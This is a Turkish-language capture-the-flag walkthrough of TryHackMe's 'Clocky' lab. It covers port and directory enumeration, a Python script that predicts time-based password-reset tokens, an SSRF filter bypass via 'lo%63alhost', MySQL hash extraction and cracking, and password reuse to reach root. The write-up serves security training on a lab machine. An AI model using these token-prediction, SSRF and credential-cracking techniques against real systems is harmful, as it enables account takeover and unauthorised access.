Clocky
Pwn the clock and gain root access
Flag 1
nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 10.10.169.91 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-05 20:23 UTC
Nmap scan report for 10.10.169.91 (10.10.169.91)
Host is up (0.094s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
8000/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.00 seconds
22 portunda SSH 80 ve 8000 portlarında HTTP servisi çalışıyor.
80 ve 8000 portlarındaki siteleri görüntüleme iznimiz yok.
İki sitede de dizin taraması yaptım. 80 portunda bir sonuç alamazken 8000 portunda robots.txt dosyası buldum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://10.10.169.91:8000 -w /usr/share/wordlists/dirb/common.txt -x txt,php -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.169.91:8000
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt (Status: 200) [Size: 115]
/robots.txt (Status: 200) [Size: 115]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================
Flag 2
robots.txt dosyasında yazan dosya uzantılarıyla tarama yaptım.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://10.10.169.91:8000 -w /usr/share/wordlists/dirb/common.txt -x sql,zip,bak -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.169.91:8000
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: sql,zip,bak
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.zip (Status: 200) [Size: 1922]
index.zip dosyasını buldum ve indirdim.
zip dosyasının içinde flag2.txt dosyası var.
Flag 3
app.py dosyasını inceledim.
Dosyanın sonunda uygulamanın çalıştığı port numarası yazıyor.
http://10.10.169.91:8080 portunda bir web sitesi çalışıyor.
app.py dosyasında 3 endpoint gördüm.
/administrator
/forgot_password
ve password_reset
password_reset dizininde “Invalid parameter” hatası ile karşılaşıyoruz. Hangi parametreyi vereceğimi bilmiyorum. FFUF ile brute force atıyorum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿kali)-[~/Desktop]
└─# ffuf -w /root/Downloads/well-known-parameter-names-brute-force.txt -u http://10.10.169.91:8080/password_reset?FUZZ=test -fw 1
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.169.91:8080/password_reset?FUZZ=test
:: Wordlist : FUZZ: /root/Downloads/well-known-parameter-names-brute-force.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 1
________________________________________________
id [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 80ms]
action [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 81ms]
p [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 83ms]
title [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 83ms]
key [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 84ms]
status [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 85ms]
code [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 86ms]
start [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 80ms]
q [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 82ms]
submit [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 82ms]
user [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 83ms]
file [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 84ms]
token [Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 85ms]
page [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 86ms]
“token” parametresi farklı bir çıktı döndürüyor.
Gereken token’ı nasıl bulacağımı bilmiyordum. Github’da bu CTF için yazılmış bir script ile karşılaştım.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import hashlib
import datetime
usernames=['root','admin','test','guest','info','adm','mysql','user','administrator','oracle','ftp','pi','puppet','ansible','ec2-user','vagrant','azureuser','jane','clarice']
#Correct username is administrator
for x in usernames:
data={'username':x}
requests.post('http://<IP-ADDR-HERE>/forgot_password',data=data) #Change ip address
value=datetime.datetime.now(datetime.timezone.utc)
user1=x
for i in range(10):
time = str(value)[:-14]+str(i)+"."
for i in range(100):
if(i<10):
lnk = time+"0"+str(i)+" . " + user1.upper()
lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
with open('hashes.txt','a') as hashes:
hashes.write(lnk+'\n')
else:
lnk = time+str(i)+" . " + user1.upper()
lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
with open('hashes.txt','a') as hashes:
hashes.write(lnk+'\n')
print('Check hashes.txt')
Script kısaca forgot_password’a bir post request’i atıyor ve bu post request’inin zamanını yakalayarak kullancı adları için bir token oluşturuyor. Oluşturulan token’ları hashes.txt dosyasına kaydediyor.
Script’i çalıştıralım.
1
2
3
┌──(root㉿kali)-[~/Downloads]
└─# python3 Clocky_CTF.py
Check hashes.txt
Wfuzz ile brute force başlatıyorum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Downloads]
└─# wfuzz -u 'http://10.10.169.91:8080/password_reset?token=FUZZ' -w hashes.txt --hw 2
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.169.91:8080/password_reset?token=FUZZ
Total requests: 19000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000008994: 200 53 L 108 W 1627 Ch "d9999e1971a37b3865bf3a8e40c19dff259fa297"
Token’ı bulduk. Artık şifreyi değiştirebiliriz.
/administrator’a giderek değiştirdiğimiz şifreyle giriş yapıyoruz.
Flag 4
Test için bir değer girdim. boş bir file dosyası indirdi.
localhost’a gitmemize ise izin verilmiyor.
lo%63alhost
ile bu sorunu çözebiliriz.
app.py içerisinde database.sql dosyası görmüştüm.
http:.//lo%63alhost/database.sql
yazarak dosyayı indiriyorum.
ve 4. flag’i bu şeiklde alıyoruz.
Flag 5
app.py dosyasında yorum satırında 2 isim buldum, clarice ve jane.
İndirdiğim database.sql dosyasının sonunda bir şifre var.
INSERT INTO passwords (password) VALUES ("Th1s_1s_4_v3ry_s3cur3_p4ssw0rd");
İki kullanıcıyla giriş yapmayı denedim.
clarrice kullanıcısıyla makineye girdim.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Downloads]
└─# ssh clarice@10.10.169.91
The authenticity of host '10.10.169.91 (10.10.169.91)' can't be established.
ED25519 key fingerprint is SHA256:vnov3QU45drV6QHH7EaLHkEmEqAi7YqLURLhQ/HvRqU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.169.91' (ED25519) to the list of known hosts.
clarice@10.10.169.91's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-165-generic x86_64)
clarice@clocky:~$
1
2
3
4
clarice@clocky:~$ ls
app flag5.txt snap
clarice@clocky:~$ cat flag5.txt
THM{-------------}
Flag 6
Yetki yükseltmek için SUID dosyalarını, root yetkisiyle çalıştırabileceğimiz programları, cronjob dosyalarını aradım. Linpeas yükleyip çalıştırsam da bir sonuca varamadım.
Uzun süre mental çöküntü geçirdikten sonra bir dosya dikkatimi çekti:
1
2
3
4
5
6
7
8
9
10
11
12
13
clarice@clocky:~$ cd app
clarice@clocky:~/app$ ls -la
total 36
drwxrwxr-x 4 clarice clarice 4096 Oct 25 2023 .
drwxr-xr-x 8 clarice clarice 4096 Oct 25 2023 ..
-rw-rw-r-- 1 clarice clarice 7361 Oct 25 2023 app.py
-rw-rw-r-- 1 clarice clarice 20 May 21 2023 .env
-rw-rw-r-- 1 clarice clarice 361 Feb 26 2023 index.html
drwxrwxr-x 2 clarice clarice 4096 Oct 25 2023 __pycache__
-rw-rw-r-- 1 clarice clarice 36 Oct 25 2023 sec.py
drwxrwxr-x 2 clarice clarice 4096 May 18 2023 templates
clarice@clocky:~/app$ cat .env
db=seG3mY4F3tKCJ1Yj
app/.env dosyasının içinde database şifresini buldum. user ise app.py dosyası içerisinde.
Bulduğum bilgilerle mysql’e girdim.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
clarice@clocky:~/app$ mysql -u clocky_user -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.0.34-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| clocky |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------------------------------------+
| Tables_in_mysql |
+------------------------------------------------------+
| columns_priv |
| component |
| db |
| default_roles |
| engine_cost |
| func |
| general_log |
| global_grants |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| password_history |
| plugin |
| procs_priv |
| proxies_priv |
| replication_asynchronous_connection_failover |
| replication_asynchronous_connection_failover_managed |
| replication_group_configuration_version |
| replication_group_member_actions |
| role_edges |
| server_cost |
| servers |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+------------------------------------------------------+
37 rows in set (0.00 sec)
mysql> select * from user;
user tablosundaki verileri görmeye çalıştığımda makine yüzüme tükürüyor.
hashcat sayfasında şöyle bir sorgu buldum:
SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
sorgusunu kullanarak hash’leri uygun formatta görüntüledim.
1
2
3
4
5
6
7
8
9
10
mysql> SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
+------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+
| user | hash |
+------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+
| clocky_user | $mysql$A$0005*077E1B6B675D350F435D5D1C686D12566C08635A*5566386F49543936423756525A68516962735568536535654B62486D344C71316B7338707A78446B4E4D39 |
| dev | $mysql$A$0005*0D172F787569054E322523067049563540383D17*6F31786178584431332F4D6830726C6C6F652F5771636D6D6142444D46367237776A764647676F54536142 |
| clocky_user | $mysql$A$0005*63671A7C5C3E425E3A0C794352306B531456162B*58774E44786D326C44443557334A39353531676A6C566D4F5A395A39684832537A61696C786D32566B4C2E |
| debian-sys-maint | $mysql$A$0005*456268331A4E3561236636480E4D3F78462A7553*716A4E6262555947697444712F79464C4D384C62617544683833517472615161455479366E5A5774576332 |
| dev | $mysql$A$0005*1C160A38777C5121134E5D725A58216D5A1D5C3F*6F6B2F577851456465524C4E6771587057456634734A6F6E5A656361774655697A4438466F6B654935462E |
+------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+
dev kullanıcısının hash’ini hashcat ile kırdım.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌──(root㉿kali)-[~]
└─# hashcat -a 0 -m 7401 /root/Desktop/hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12400F, 1426/2916 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Counting lines in /root/Desktop/hash.txt.Removing duplicate hashes. Please be patiComparing hashes with potfile entries. PlHashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$mysql$A$005*0D172F787569054E322523067049563540383D17*6F31786178584431332F4D6830726C6C6F652F5771636D6D6142444D46367237776A764647676F54536142:armadillo
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7401 (MySQL $A$ (sha256crypt))
Hash.Target......: $mysql$A$005*0D172F787569054E322523067049563540383D...536142
Time.Started.....: Sun May 5 23:20:38 2024 (38 secs)
Time.Estimated...: Sun May 5 23:21:16 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1336 H/s (12.27ms) @ Accel:80 Loops:256 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 50240/14344385 (0.35%)
Rejected.........: 0/50240 (0.00%)
Restore.Point....: 49920/14344385 (0.35%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-5000
Candidate.Engine.: Device Generator
Candidates.#1....: bobocel -> 11111989
Hardware.Mon.#1..: Util: 83%
Started: Sun May 5 23:20:04 2024
Stopped: Sun May 5 23:21:18 2024
Makinede “dev” kullanıcısı yok jane kullanıcısının da şifresi değil.
Root kullanıcısının şifresini bulmuşuz :)))
1
2
3
4
root@clocky:~# ls
flag6.txt snap
root@clocky:~# cat flag6.txt
THM{---}